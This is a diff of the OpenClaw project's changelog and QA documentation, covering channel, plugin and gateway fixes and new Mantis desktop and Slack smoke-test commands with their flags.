- Channels/replies: improve Discord status reactions and degraded transport reporting, add WhatsApp Channel/Newsletter targets, and tighten Telegram, Feishu, Matrix, Microsoft Teams, and Slack delivery/recovery behavior.
- Install/update: recover broken macOS LaunchAgent upgrades, reject source-only plugin packages before runtime load, and repair stale Gateway/plugin state during updates and doctor runs.
- Agent/runtime reliability: preserve streamed provider replies, delayed A2A session replies, prompt/tool delivery, memory recall, web search provider discovery, and provider-specific thinking/model metadata across common edge cases.
### Changes
@@ -20,21 +25,51 @@ Docs: https://docs.openclaw.ai
- Gateway/performance: lazy-load early runtime discovery and shutdown-hook helpers, defer maintenance timers until after readiness, and trim duplicate plugin auto-enable work during Gateway startup.
- QA/Mantis: add a `pnpm openclaw qa mantis discord-smoke` runner and manual GitHub workflow that verify the Mantis Discord bot can see the configured guild/channel, post a smoke message, add a reaction, and upload artifacts.
- QA/Slack: add a Slack live transport QA runner with canary and mention-gating coverage for the private bot-to-bot harness. Thanks @vincentkoc.
- Gateway/performance: lazy-load the heavy cron runtime after the rest of Gateway startup, defer restart-sentinel refresh after readiness, and let the Gateway startup benchmark write per-run V8 CPU profiles with `--cpu-prof-dir`.
- Gateway/performance: keep raw channel-config schema parsing from discovering bundled plugin runtime metadata, and add `pnpm gateway:watch --benchmark-no-force` for profiling startup without the default port cleanup.
- Plugins/onboarding: let Manual setup install optional official plugins, including ClawHub-backed diagnostics with npm fallback, and expose the external Codex plugin as a selectable provider setup choice. Thanks @vincentkoc.
- Plugins/CLI: include package dependency install state in `openclaw plugins list --json` so scripts can spot missing plugin dependencies without runtime-loading plugins.
- Discord/status: add degraded Discord transport and gateway event-loop starvation signals to `openclaw channels status`, `openclaw status --deep`, and fetch-timeout logs so intermittent socket resets do not look like a healthy running channel. (#76327) Thanks @joshavant.
- Plugins/update: on the beta OpenClaw update channel, default-line npm and ClawHub plugin updates try `@beta` first and fall back to default/latest when no plugin beta release exists.
- Plugins/CLI/update: include package dependency install state in `openclaw plugins list --json`, trust official externalized npm migrations, clean stale bundled load paths for externalized installs, try plugin `@beta` updates first on the beta OpenClaw channel, and fall back to default/latest when no plugin beta release exists.
- Plugins/ClawHub: annotate 429 errors with reset windows and unauthenticated higher-rate-limit hints, so operators can tell when downloads recover and when signing in helps. Thanks @romneyda.
- Gateway/performance: lazy-load early runtime discovery, shutdown hooks, cron, channel-config schema metadata, restart sentinels, and maintenance timers after readiness; trim duplicate plugin auto-enable work and add startup CPU/profile controls.
- Gateway/config: stop Gateway startup and hot reload from auto-restoring invalid config; invalid config now fails closed and `openclaw doctor --fix` owns last-known-good repair.
- Discord/status: let explicit reaction tool calls opt into tracking later tool progress with `trackToolCalls: true`, share tool display emoji mapping, and surface degraded Discord transport or gateway event-loop starvation in status output. (#76327) Thanks @joshavant.
- Channels/WhatsApp: support explicit WhatsApp Channel/Newsletter `@newsletter` outbound message targets with channel session metadata instead of DM routing. Fixes #13417; carries forward the narrow outbound target idea from #13424. Thanks @vincentkoc and @agentz-manfred.
- Exec approvals: add a tree-sitter-backed shell command explainer for future approval and command-review surfaces. (#75004) Thanks @jesse-merhi.
- Agents/tools: skip optional media and PDF tool factories when the effective tool denylist already blocks them, avoiding unnecessary hot-path setup for tools that will be filtered out before model use. (#76773) Thanks @dorukardahan.
- Agents/sandbox: store sandbox container and browser registry entries as per-runtime shard files, reducing unrelated session lock contention while `openclaw doctor --fix` migrates legacy monolithic registry files. (#74831) Thanks @luckylhb90.
- Plugins/ClawHub: annotate 429 errors from ClawHub with the reset window from `RateLimit-Reset`/`Retry-After` and append a `Sign in for higher rate limits.` hint when the request was unauthenticated, so users can see when downloads will recover and how to lift the cap. Thanks @romneyda.
- Tools/BTW: add `/side` as a text and native slash-command alias for `/btw` side questions.
- Exec approvals: add a tree-sitter-backed shell command explainer for future approval and command-review surfaces. (#75004) Thanks @jesse-merhi.
- QA/Mantis: add a `pnpm openclaw qa mantis discord-smoke` runner and manual GitHub workflow that verify the Mantis Discord bot can see the configured guild/channel, post a smoke message, add a reaction, and upload artifacts.
### Fixes
- fix: harden backend message action gateway routing [AI]. (#76374) Thanks @pgondhi987.
- Gate QQBot streaming command auth [AI]. (#76375) Thanks @pgondhi987.
- Plugins/release: make the published npm runtime verifier reject blank `openclaw.runtimeExtensions` entries instead of treating them as absent and passing via inferred outputs. Thanks @vincentkoc.
- Web fetch: scope provider fallback cache entries by the selected fetch provider so config reloads cannot reuse another provider's cached fallback payload. Thanks @vincentkoc.
- Web search: honor late-bound `tools.web.search.enabled: false` during tool execution so config reloads cannot leave an already-created `web_search` tool runnable. Thanks @vincentkoc.
- Plugins/packages: reject inferred built runtime entries that exist but fail package-boundary checks instead of falling back to TypeScript source for installed packages. Thanks @vincentkoc.
- Plugins/loader: do not retry native-loaded JavaScript plugin modules through the source transformer after native evaluation has already reached a missing dependency, avoiding duplicate top-level side effects. Thanks @vincentkoc.
- Plugins/security: stop the install scanner from blocking official bundled plugin packages when `process.env` access and normal API sends only appear in distant parts of the same compiled bundle.
- Plugins/packages: reject blank `openclaw.runtimeExtensions` entries instead of silently ignoring them and falling back to inferred TypeScript runtime entries. Thanks @vincentkoc.
- Doctor/plugins: remove stale managed npm plugin shadow entries from the managed package lock as well as `package.json` and `node_modules`, so future npm operations do not keep referencing repaired bundled-plugin shadows. Thanks @vincentkoc.
- Plugins/runtime state: keep the key being registered when namespace eviction runs in the same millisecond as existing entries, so `register` and `registerIfAbsent` do not report success while evicting their own fresh value. Thanks @vincentkoc.
- Control UI/Talk: make failed Talk startup errors dismissable and clear the stale Talk error state when dismissed, so missing realtime voice provider configuration does not leave a permanent chat banner. Fixes #77071. Thanks @ijoshdavis.
- Control UI/Talk: stop and clear failed realtime Talk sessions when dismissing runtime error banners, so the next Talk click starts a fresh session instead of only stopping the stale one. Thanks @vincentkoc.
- Control UI/Talk: retry from a failed realtime Talk session on the next Talk click instead of requiring a separate stale-session stop click first. Thanks @vincentkoc.
- Canvas host: preserve the Gateway TLS scheme in browser canvas host URLs and startup mount logs, so direct HTTPS gateways do not advertise insecure canvas links. Thanks @vincentkoc.
- WhatsApp/login: route login success and failure messages through the injected runtime, so setup/onboarding surfaces capture all login output instead of only the QR. Thanks @vincentkoc.
- Google Chat: create an isolated Google auth transport per auth client, so google-auth-library interceptor mutations do not accumulate across webhook verification and access-token clients. Thanks @vincentkoc.
- Doctor/plugins: remove orphaned or recovered managed npm copies of bundled `@openclaw/*` plugins during `doctor --fix`, so stale package manifests cannot shadow the current bundled plugin config schema.
- Control UI/performance: cap long-task and long-animation-frame diagnostics in the shared event log, so slow-render telemetry does not evict gateway/plugin events from the Debug and Overview views. Thanks @vincentkoc.
- Gateway/startup: log the canvas host mount only after the HTTP server has bound, so startup logs no longer report the canvas host as mounted before it can serve requests.
- Control UI/i18n: render the Sessions active filter tooltip with the configured minute count in every locale and make the i18n check reject placeholder drift. Thanks @BunsDev.
- Web fetch: late-bind `web_fetch` config and provider fallback metadata from the active runtime snapshot, matching `web_search` so long-lived tools do not use stale fetch provider settings. Thanks @vincentkoc.
- Plugins/discovery: demote the source-only TypeScript runtime check on already-installed `origin: "global"` plugin packages from a config-blocking error to a warning and let the runtime fall through to the TypeScript source via jiti, so a single broken installed package no longer blocks `plugins install` for unrelated plugins; install-time rejection of newly-installed source-only packages is unchanged. Thanks @romneyda.
- Providers/OpenAI Codex: stop the OAuth progress spinner before showing the manual redirect paste prompt, so callback timeouts do not spam `Browser callback did not finish` across terminals.
- Channels/WhatsApp: allow `@whiskeysockets/libsignal-node` in `onlyBuiltDependencies` so pnpm v9+ `blockExoticSubdeps` no longer rejects the baileys git-tarball subdep and silences all inbound agent replies. Fixes #76539. Thanks @ottodeng and @vincentkoc.
- Gateway/systemd: preserve operator-added secrets in the Gateway env file across re-stage while clearing OpenClaw-managed keys (such as `OPENCLAW_GATEWAY_TOKEN`) so a fresh staging value is never shadowed by a stale env-file copy; operator secrets are also retained when the state-dir `.env` is empty. Fixes #76860. Thanks @hclsys.
- Plugin updates: do not short-circuit trusted official npm updates as unchanged when the default/latest spec still resolves to an already-installed prerelease that the installer should replace with a stable fallback. Thanks @vincentkoc.
- Plugin tools: keep auth-unavailable optional tools hidden even when another default tool from the same plugin is available and `tools.alsoAllow` names the optional tool. Thanks @vincentkoc.
- Realtime transcription: report socket closes before provider readiness as closed-before-ready failures instead of mislabeling them as connection timeouts for OpenAI, xAI, and Deepgram streaming transcription. Thanks @vincentkoc.
- OpenAI/Google Meet: fail realtime voice connection attempts when the socket closes before `session.updated`, avoiding stuck Meet joins waiting on a bridge that never became ready. Thanks @vincentkoc.
- QA/cache: require the full `CACHE-OK <suffix>` marker before live cache probes stop retrying, so suffix-only prose cannot hide a broken probe response. Thanks @vincentkoc.
- Slack/Matrix: avoid creating blank progress-draft messages when `streaming.progress.label=false` and progress tool lines are disabled. Thanks @vincentkoc.
- QA/Matrix: keep the mock OpenAI tool-progress provider aligned with exact-marker Matrix prompts so the hardened live preview scenario still forces a deterministic read before final delivery. Thanks @vincentkoc.
@@ -62,6 +97,7 @@ Docs: https://docs.openclaw.ai
- Discord: resolve SecretRef-backed bot tokens from the active runtime snapshot for named accounts and keep unresolved configured tokens from crashing status or health checks. (#76987) Thanks @joshavant.
- Channels/streaming: expose `streaming.progress.label`, `labels`, `maxLines`, and `toolProgress` in bundled channel config metadata so progress draft settings appear in config, docs, and control surfaces. Thanks @vincentkoc.
- Channels/streaming: normalize whitespace and case for `streaming.progress.label: "auto"` so progress draft labels keep using the built-in label pool instead of rendering a literal `auto` title. Thanks @vincentkoc.
- Plugins/Codex: preserve Codex-native OAuth routing for `/codex bind` app-server turns so bound sessions keep the selected Codex auth profile instead of falling back to public OpenAI credentials. (#76714) Thanks @keshavbotagent.
- Gateway/install: prefer supported system Node over nvm/fnm/volta/asdf/mise when regenerating managed gateway services, so `gateway install --force` no longer recreates service definitions that doctor immediately flags as version-manager-backed. Fixes #76339. Thanks @brokemac79.
- Cron/status: render explicit `delivery.mode: "none"` jobs as no-delivery previews and label cron session history distinctly instead of showing fallback delivery or direct-session rows. Fixes #76945.
- Gateway/usage: serve `usage.cost` and `sessions.usage` from a durable transcript aggregate cache with lock-safe background refreshes and localized stale-cache status, so large usage views avoid repeated full scans. (#76650) Thanks @Marvinthebored.
@@ -88,6 +124,9 @@ Docs: https://docs.openclaw.ai
- Status/sessions: ignore malformed non-string persisted session provider/model metadata instead of throwing while rendering status summaries. Fixes #76206. Thanks @vincentkoc.
- CLI/config: remove only the targeted array element for `openclaw config unset array[index]` instead of replaying the unset during config write and deleting the shifted next element. Fixes #76290. Thanks @SymbolStar and @vincentkoc.
- Plugins/voice-call: treat abnormal local Gateway close code 1006 as a standalone CLI fallback case, so `voicecall smoke` and related commands can still run the provider check path when the Gateway socket closes before returning a response.
- CLI/doctor: migrate legacy per-channel `streaming.progress` config into `streaming.preview.toolProgress`, so upgrades with stale Discord or Telegram streaming keys validate again instead of blocking plugin commands.
- Plugins/release: reject ClawHub code-plugin packages that contain TypeScript runtime entries without compiled `dist/*.js` output, and run package-local runtime-build checks during npm and ClawHub plugin release previews.
- Plugins/update: keep beta-installed OpenClaw package updates on the beta plugin channel even when config still says stable, so Discord and other externalized plugins update from compiled `@beta` packages instead of stale source-only `latest` artifacts.
- Agents/tools: stop treating `tools.deny: ["write"]` as an implicit `apply_patch` deny; operators who want to block patch writes should deny `apply_patch` or `group:fs` explicitly. Fixes #76749. (#76795) Thanks @Nek-12 and @hclsys.
- Plugins/release: verify published plugin npm tarballs expose compiled runtime entries after publish, catching TS-only package artifacts before release closeout. Thanks @vincentkoc.
- CLI/message: exit cleanly with a nonzero status when message-command plugin registry loading fails before dispatch, preventing `openclaw-message` children from staying alive after plugin load errors. Fixes #76168.
@@ -147,8 +186,7 @@ Docs: https://docs.openclaw.ai
- CLI/onboarding: mask credential inputs (model-auth provider API keys, gateway tokens and passwords, web-search provider keys, and skill env-var values) in the interactive `openclaw onboard` wizard so pasted secrets no longer echo into terminal scrollback, `Start-Transcript` logs, or screenshots; existing tokens/passwords are preserved through a masked-preview confirm step before the sensitive prompt. Thanks @anurag-bg-neu.
- Control UI/Talk: fix Talk (OpenAI Realtime WebRTC) CORS failure by stripping server-side-only attribution headers (`originator`, `version`, `User-Agent`) from browser offer headers; `api.openai.com/v1/realtime/calls` only allows `authorization` and `content-type` in its CORS preflight, so forwarding these headers caused the browser SDP exchange to fail. Fixes #76435. Thanks @hclsys.
- Chat delivery: make `/verbose on|full|off` changes affect subsequent tool-use chat bubbles again, including channels with draft preview tool progress enabled, while preserving one-shot verbose directives.
- CLI/logs: auto-reconnect `openclaw logs --follow` on transient gateway disconnects (WebSocket close, timeout, connection drop) with bounded exponential backoff (up to 8 retries, capped at 30 s) and stderr retry warnings, while still exiting immediately on non-recoverable auth or configuration errors. Fixes #74782. (#75059) Thanks @shashank-poola.
- CLI/logs: announce `--follow` recovery with a `[logs] gateway reconnected` notice once a poll succeeds after a transient outage, and emit JSON `notice` records in `--json` mode for both the retry warning and the reconnect transition, so live monitoring scripts can react to the recovery. Carries forward #75059. (#75372) Thanks @romneyda.
- CLI/logs: auto-reconnect `openclaw logs --follow` on transient gateway disconnects with bounded backoff, stderr retry warnings, `[logs] gateway reconnected` recovery notices, and JSON `notice` records while still exiting immediately on non-recoverable auth or configuration errors. Fixes #74782. (#75059, #75372) Thanks @shashank-poola and @romneyda.
- Codex/WhatsApp: keep the `message` dynamic tool available when Codex source replies are configured for message-tool delivery, so coding-profile chat agents do not complete turns privately without a visible channel reply. Fixes #76660. (#76663) Thanks @VishalJ99.
- Codex/heartbeat: send heartbeat-specific initiative guidance through Codex turn-scoped collaboration-mode instructions, keeping ordinary message-tool chat turns in Default mode without heartbeat prompt leakage. Thanks @pashpashpash.
- Plugins/onboarding: trust optional official plugin and web-search installs selected from the official catalog so npm security scanning treats them like other source-linked official install paths. Thanks @vincentkoc.
@@ -168,10 +206,8 @@ Docs: https://docs.openclaw.ai
- TUI/Control UI: fix `/think` command showing only base thinking levels when the active session uses a different model from the default, so provider-specific levels like DeepSeek V4 Pro's `xhigh` and `max` are now visible and selectable. Fixes #76482. Thanks @amknight.
- CLI/sessions: keep intentional empty agent replies silent after tool-delivered channel output, instead of surfacing a misleading "No reply from agent." fallback. Thanks @vincentkoc.
- Config/doctor: cap `.clobbered.*` forensic snapshots per config path and serialize snapshot writes so repeated `doctor --fix` recovery loops cannot flood the config directory. Fixes #76454; carries forward #65649. Thanks @JUSTICEESSIELP, @rsnow, and @vincentkoc.
- Feishu: suppress duplicate text when replies send native voice media while preserving captions for ordinary audio files and falling back to text plus attachment links when voice uploads fail.
- Feishu: send the skipped reply text when `audioAsVoice` falls back to a generic file attachment after transcode failure, so voice-intent replies do not lose their caption.
- TTS/plugins: activate the configured speech provider plugin during Gateway startup, so Microsoft and Local CLI voice replies work immediately after selecting them instead of staying invisible in the startup plugin set. Fixes #76481. Thanks @amknight.
- TTS/plugins: include speech providers selected through inherited agent, channel, and account TTS personas during Gateway startup, matching the runtime TTS config merge. Carries forward #76481. Thanks @amknight.
- Feishu: suppress duplicate text when replies send native voice media, preserve captions for ordinary audio files, and send fallback text plus attachment links when `audioAsVoice` transcode/upload fallback produces a generic file.
- TTS/plugins: activate configured and inherited speech provider plugins during Gateway startup, so Microsoft and Local CLI voice replies work immediately after persona selection instead of staying invisible in the startup plugin set. Fixes #76481. Thanks @amknight.
- Feishu: keep packaged Feishu startup from bundling the Lark SDK's ESM `__dirname` path by loading the SDK as a plugin-local runtime dependency. Fixes #76291 and #76494. (#76392) Thanks @zqchris.
- Plugins/npm: build package-local runtime dist files for publishable plugins and stop listing root-package-excluded plugin sidecars in the core package metadata, so npm plugin installs such as `@openclaw/diffs` and `@openclaw/discord` no longer publish source-only runtime payloads. Fixes #76426. Thanks @PrinceOfEgypt.
- Channels/secrets: resolve SecretRef-backed channel credentials through external plugin secret contracts after the plugin split, covering runtime startup, target discovery, webhook auth, disabled-account enumeration, and late-bound web_search config. Fixes #76371. (#76449) Thanks @joshavant and @neeravmakwana.
@@ -185,22 +221,17 @@ Docs: https://docs.openclaw.ai
- Plugins/install: resolve bare official external plugin IDs such as `brave` through the official catalog when no bundled source is available, so packaged installs fetch the intended scoped npm package instead of an unrelated unscoped package. Fixes #76373. Thanks @bek91 and @vincentkoc.
- Plugins/install: require OpenClaw-owned install provenance before granting official npm plugin scanner trust, so direct npm package names no longer bypass launch-code scanning while catalog, onboarding, and doctor installs stay trusted. Thanks @fede-kamel and @vincentkoc.
- Network proxy: preserve target TLS hostname validation for Node HTTPS requests routed through the managed HTTP proxy, so Discord-style CONNECT traffic no longer validates certificates against the local proxy host. Fixes #74809. (#76442) Thanks @jesse-merhi and @abnershang.
- Gateway/sessions: keep async `sessions.list` title and preview hydration bounded to transcript head/tail reads so Control UI polling cannot full-scan large session transcripts every refresh. Thanks @vincentkoc.
- Gateway/sessions: cache manifest model-id normalization and bundled setup CLI fallback metadata against the active plugin metadata snapshot, so Control UI `sessions.list` polling avoids repeated plugin manifest scans while still refreshing after plugin reloads. Thanks @rolandrscheel.
- Gateway/sessions: keep `sessions.list` rows lightweight by bounding title/preview hydration to transcript head/tail reads and caching manifest model-id normalization plus setup fallback metadata against the active plugin snapshot. Thanks @vincentkoc and @rolandrscheel.
- Gateway/performance: cache per-run verbose-level session reads, skip a redundant `lsof` scan in `gateway --force` when no listener was killed, and make the Gateway startup benchmark print usage for `--help`.
- Gateway/sessions: keep agent runtime metadata on lightweight `sessions.list` rows so model-only session patches do not make Control UI lose runtime identity. Thanks @vincentkoc.
- Gateway/sessions: keep bulk `sessions.list` rows lightweight by skipping per-row transcript usage fallback, display model inference, and plugin projection, avoiding event-loop stalls in large session stores. Thanks @Marvinthebored and @vincentkoc.
- Gateway/models: keep read-only `models.list` fallbacks on persisted/current metadata and configured rows while using static auth checks, so missing `models.json` files no longer runtime-load provider discovery or stall gateway after restart. Fixes #76382; refs #76360 and #75707. Thanks @trojy13, @RayWoo, @AnathemaOfficial, and @vincentkoc.
- Gateway/models: keep agent image attachment capability checks on the full catalog while preserving the read-only `models.list` path, so image sends are not rejected after static catalog fallback.
- Gateway/sessions: keep agent runtime metadata on lightweight `sessions.list` rows and skip per-row transcript usage fallback, display model inference, and plugin projection, avoiding identity loss and event-loop stalls in large session stores. Thanks @Marvinthebored and @vincentkoc.
- Gateway/models: keep read-only `models.list` fallbacks on persisted/current metadata, configured rows, registry-compatible fallbacks, and static auth checks while preserving full-catalog image attachment capability checks. Fixes #76382; refs #76360 and #75707. Thanks @trojy13, @RayWoo, @AnathemaOfficial, @Marvinthebored, and @vincentkoc.
- CLI/plugins: reject missing plugin ids before config writes in `plugins enable` and `plugins disable` so a typo no longer persists a stale config entry. (#73554) Thanks @ai-hpc.
- Agents/sessions: preserve delivered trailing assistant replies during session-file repair so Telegram/WebChat history is not rewritten to drop already-delivered responses. Fixes #76329. Thanks @obviyus.
- Gateway/chat history: preserve oversized transcript turns as explicit omitted-message placeholders while avoiding large JSONL parse stalls. Thanks @Marvinthebored and @vincentkoc.
- Gateway/models: keep read-only model-list responses on registry-compatible fallbacks and metadata defaults, so empty or minimal persisted model files do not hide built-ins or custom model capabilities. Thanks @Marvinthebored.
- CLI/doctor: load the configured memory-slot plugin when resolving memory diagnostics so bundled `memory-core` no longer triggers a false “no active memory plugin” warning on standalone `doctor` / `status` runs. Fixes #76367. Thanks @neeravmakwana.
- Gateway: preserve stack diagnostics when `chat.send` or agent attachment parsing/staging fails, improving image-send failure triage. Refs #63432. (#75135) Thanks @keen0206.
- Agents/idle-timeout: add a cost-runaway breaker to the outer embedded-run retry loop that halts further attempts after 5 consecutive idle timeouts without completed model progress, so a wedged provider can no longer fan paid model calls out across the same run; completed text or tool-call progress resets the breaker, but partial tool-argument token dribbles do not. Fixes #76293. Thanks @ThePuma312.
- Heartbeats/Codex: stop sending the legacy `HEARTBEAT_OK` prompt instruction when heartbeat turns have the structured `heartbeat_respond` tool, while keeping the text sentinel for legacy automatic heartbeat replies. Thanks @pashpashpash.
- Heartbeats/Codex: keep structured heartbeat prompts aligned with actual `heartbeat_respond` tool availability and keep tool-disabled commitment check-ins on the legacy ack path. Thanks @pashpashpash and @vincentkoc.
- Heartbeats/Codex: align structured heartbeat prompts with actual `heartbeat_respond` tool availability, stop sending legacy `HEARTBEAT_OK` when the tool exists, and keep tool-disabled commitment check-ins on the legacy ack path. Thanks @pashpashpash and @vincentkoc.
- Agent runtimes: fail explicit plugin runtime selections honestly when the requested harness is unavailable instead of silently falling back to the embedded PI runtime. Thanks @pashpashpash.
- Maintainer workflow: push prepared PR heads through GitHub's verified commit API by default and require an explicit override before git-protocol pushes can publish unsigned commits. Thanks @BunsDev.
- Feishu: resolve setup/status probes through the selected/default account so multi-account configs with account-scoped app credentials show as configured and probeable. Fixes #72930. Thanks @brokemac79.
@@ -215,8 +246,7 @@ Docs: https://docs.openclaw.ai
- Cron: preserve manual `cron.run` IDs in `cron.runs` history so manual run acknowledgements can be correlated with finished run records. Fixes #76276.
- CLI/devices: request `operator.admin` for `openclaw devices approve <requestId>` only when the exact pending device request would mint or inherit admin-scoped operator access, while keeping lower-scope approvals on the pairing scope.
- Memory/embedding: broaden the embedding reindex retry classifier to include transient socket-layer errors (`fetch failed`, `ECONNRESET`, `socket hang up`, `UND_ERR_*`, `closed`) so memory reindex survives provider network hiccups instead of aborting mid-run. Related #56815, #44166. (#76311) Thanks @buyitsydney.
- Memory/sessions: keep rotated and deleted session transcripts (`.jsonl.reset.<iso>` / `.jsonl.deleted.<iso>`) searchable end-to-end by indexing their real content in `buildSessionEntry` instead of short-circuiting to empty entries, and by mapping archive hit paths back to their live transcript stem during `memory_search` visibility filtering so hits are no longer dropped at the guard. `.jsonl.bak.<iso>` backups and compaction checkpoints remain opaque. Refs #56131. Thanks @buyitsydney.
- Memory/sessions: emit a `sessionTranscriptUpdate` event when `archiveFileOnDisk` rotates a live session transcript into `.jsonl.reset.<iso>` / `.jsonl.deleted.<iso>` / `.jsonl.bak.<iso>`, and bypass the delta-bytes / delta-messages threshold gate in `processSessionDeltaBatch` for usage-counted archive paths (`.jsonl.reset.<iso>` and `.jsonl.deleted.<iso>`). Without the bypass the archive event was forwarded to the listener but dropped at the threshold check, because an archive is a one-shot file-rename mutation rather than an incremental append and would typically land below the default `deltaBytes: 100000` / `deltaMessages: 50` reindex thresholds. Archives now feed the memory sync incremental path the same way `appendMessage` / compaction / tool-result rewrite / chat inject / command execution events already do. Refs #56131. Thanks @buyitsydney.
- Memory/sessions: keep rotated and deleted transcripts (`.jsonl.reset.<iso>` / `.jsonl.deleted.<iso>`) searchable by indexing archive content, mapping archive hits back to live transcript stems, emitting transcript update events on archive rotation, and bypassing incremental delta thresholds for one-shot archive mutations while keeping backups and compaction checkpoints opaque. Refs #56131. Thanks @buyitsydney.
- Memory/search: keep sqlite-vec optional in packaged installs and point missing-extension recovery at the valid `agents.defaults.memorySearch.store.vector.extensionPath` setting. Thanks @willemsej and @vincentkoc.
- Gateway: keep directly requested plugin tools invokable under restrictive tool profiles while preserving explicit deny lists and the HTTP safety deny list, preventing catalog/invoke mismatches that surface as "Tool not available". Thanks @BunsDev.
- Gateway/update: allow beta binaries to refresh gateway services when the config was last written by the matching stable release version, avoiding false newer-config downgrade blocks during beta channel updates.

View File

@@ -1,2 +1,2 @@
0dd4f5abaf72f0d6b3fe5777cbf16c7a8c8052eece17436dc0ac2809b0ea27de plugin-sdk-api-baseline.json
2c2170cf2f1193f7dbecdef3ccd1b601992407e3d99863d1aa13cb1817c238fd plugin-sdk-api-baseline.jsonl
701356478634a8f3e71f941ed21a00e0456d947d287edcafb56231013b27a057 plugin-sdk-api-baseline.json
ed17426dd5e9db4b83db77162e7490eee3c0439170c1a9d1e84c01d7027d580c plugin-sdk-api-baseline.jsonl

View File

@@ -89,6 +89,73 @@ directory, installs dependencies, builds each ref, runs the scenario with
and `mantis-report.md`. For the first Discord scenario, a successful verification
means baseline status is `fail` and candidate status is `pass`.
The first VM/browser primitive is the desktop smoke:
```bash
pnpm openclaw qa mantis desktop-browser-smoke \
--output-dir .artifacts/qa-e2e/mantis/desktop-browser
```
It leases or reuses a Crabbox desktop machine, starts a visible browser inside the
VNC session, captures the desktop, pulls artifacts back to the local output
directory, and writes the reconnect command into the report. The command defaults
to the Hetzner provider because it is the first provider with working desktop/VNC
coverage in the Mantis lane. Override it with `--provider`, `--crabbox-bin`, or
`OPENCLAW_MANTIS_CRABBOX_PROVIDER` when running against another Crabbox fleet.
Useful desktop smoke flags:
- `--lease-id <cbx_...>` or `OPENCLAW_MANTIS_CRABBOX_LEASE_ID` reuses a warmed desktop.
- `--browser-url <url>` changes the page opened in the visible browser.
- `--html-file <path>` renders a repo-local HTML artifact in the visible browser. Mantis uses this to capture the generated Discord status-reaction timeline through a real Crabbox desktop.
- `--keep-lease` or `OPENCLAW_MANTIS_KEEP_VM=1` keeps a newly created passing lease open for VNC inspection. Failed runs keep the lease by default when one was created so an operator can reconnect.
- `--class`, `--idle-timeout`, and `--ttl` tune machine size and lease lifetime.
The first full desktop transport primitive is the Slack desktop smoke:
```bash
pnpm openclaw qa mantis slack-desktop-smoke \
--output-dir .artifacts/qa-e2e/mantis/slack-desktop \
--gateway-setup \
--scenario slack-canary \
--keep-lease
```
It leases or reuses a Crabbox desktop machine, syncs the current checkout into
the VM, runs `pnpm openclaw qa slack` inside that VM, opens Slack Web in the VNC
browser, captures the visible desktop, and copies both the Slack QA artifacts and
the VNC screenshot back to the local output directory. This is the first Mantis
shape where the SUT OpenClaw gateway and the browser both live inside the same
Linux desktop VM.
With `--gateway-setup`, the command prepares a persistent disposable OpenClaw
home at `$HOME/.openclaw-mantis/slack-openclaw`, patches Slack Socket Mode
configuration for the selected channel, starts `openclaw gateway run` on port
`38973`, and keeps Chrome running in the VNC session. This is the "leave me a
Linux desktop with Slack and a claw running" mode; the bot-to-bot Slack QA lane
remains the default when `--gateway-setup` is omitted.
Required inputs for `--credential-source env`:
- `OPENCLAW_QA_SLACK_CHANNEL_ID`
- `OPENCLAW_QA_SLACK_DRIVER_BOT_TOKEN`
- `OPENCLAW_QA_SLACK_SUT_BOT_TOKEN`
- `OPENCLAW_QA_SLACK_SUT_APP_TOKEN`
- `OPENCLAW_LIVE_OPENAI_KEY` for the remote model lane. If only
`OPENAI_API_KEY` is set locally, Mantis maps it to `OPENCLAW_LIVE_OPENAI_KEY`
before invoking Crabbox so Crabbox's `OPENCLAW_*` env forwarding can carry it
into the VM.
Useful Slack desktop flags:
- `--lease-id <cbx_...>` reruns against a machine where an operator already logged in to Slack Web through VNC.
- `--gateway-setup` starts a persistent OpenClaw Slack gateway in the VM instead of only running the bot-to-bot QA lane.
- `--slack-url <url>` opens a specific Slack Web URL. Without it, Mantis derives `https://app.slack.com/client/<team>/<channel>` from Slack `auth.test` when the SUT bot token is available.
- `--slack-channel-id <id>` controls the Slack channel allowlist used by gateway setup.
- `OPENCLAW_MANTIS_SLACK_BROWSER_PROFILE_DIR` controls the persistent Chrome profile inside the VM. The default is `$HOME/.config/openclaw-mantis/slack-chrome-profile`, so a manual Slack Web login survives reruns on the same lease.
- `--credential-source convex --credential-role ci` uses the shared credential pool instead of direct Slack env tokens.
- `--provider-mode`, `--model`, `--alt-model`, and `--fast` pass through to the Slack live lane.
The GitHub smoke workflow is `Mantis Discord Smoke`. The before and after GitHub
workflow for the first real scenario is `Mantis Discord Status Reactions`. It
accepts:
@@ -99,7 +166,9 @@ accepts:
It checks out the workflow harness ref, builds separate baseline and candidate
worktrees, runs `discord-status-reactions-tool-only` against each worktree, and
uploads `baseline/`, `candidate/`, `comparison.json`, and `mantis-report.md` as
Actions artifacts.
Actions artifacts. It also renders each lane's timeline HTML in a Crabbox
desktop browser and publishes those VNC screenshots beside the deterministic
timeline PNGs in the PR comment.
You can also trigger the status-reactions run directly from a PR comment:
@@ -132,18 +201,19 @@ ClawSweeper review findings.
1. Acquire credentials.
2. Allocate or reuse a VM.
3. Prepare a clean checkout for the baseline ref.
4. Install dependencies and build only what the scenario needs.
5. Start a child OpenClaw Gateway with an isolated state directory.
6. Configure the live transport, provider, model, and browser profile.
7. Run the scenario and capture baseline evidence.
8. Stop the gateway and preserve logs.
9. Prepare the candidate ref in the same VM.
10. Run the same scenario and capture candidate evidence.
11. Compare the oracle results and visual evidence.
12. Write Markdown, JSON, logs, screenshots, and optional trace artifacts.
13. Upload GitHub Actions artifacts.
14. Post a concise PR or Discord status message.
3. Prepare the desktop/browser profile when the scenario needs UI evidence.
4. Prepare a clean checkout for the baseline ref.
5. Install dependencies and build only what the scenario needs.
6. Start a child OpenClaw Gateway with an isolated state directory.
7. Configure the live transport, provider, model, and browser profile.
8. Run the scenario and capture baseline evidence.
9. Stop the gateway and preserve logs.
10. Prepare the candidate ref in the same VM.
11. Run the same scenario and capture candidate evidence.
12. Compare the oracle results and visual evidence.
13. Write Markdown, JSON, logs, screenshots, and optional trace artifacts.
14. Upload GitHub Actions artifacts.
15. Post a concise PR or Discord status message.
The scenario should be able to fail in two different ways:

View File

@@ -29,26 +29,26 @@ Current pieces:
Every QA flow runs under `pnpm openclaw qa <subcommand>`. Many have `pnpm qa:*`
script aliases; both forms are supported.
| Command | Purpose |
| --------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `qa run` | Bundled QA self-check; writes a Markdown report. |
| `qa suite` | Run repo-backed scenarios against the QA gateway lane. Aliases: `pnpm openclaw qa suite --runner multipass` for a disposable Linux VM. |
| `qa coverage` | Print the markdown scenario-coverage inventory (`--json` for machine output). |
| `qa parity-report` | Compare two `qa-suite-summary.json` files and write the agentic parity report. |
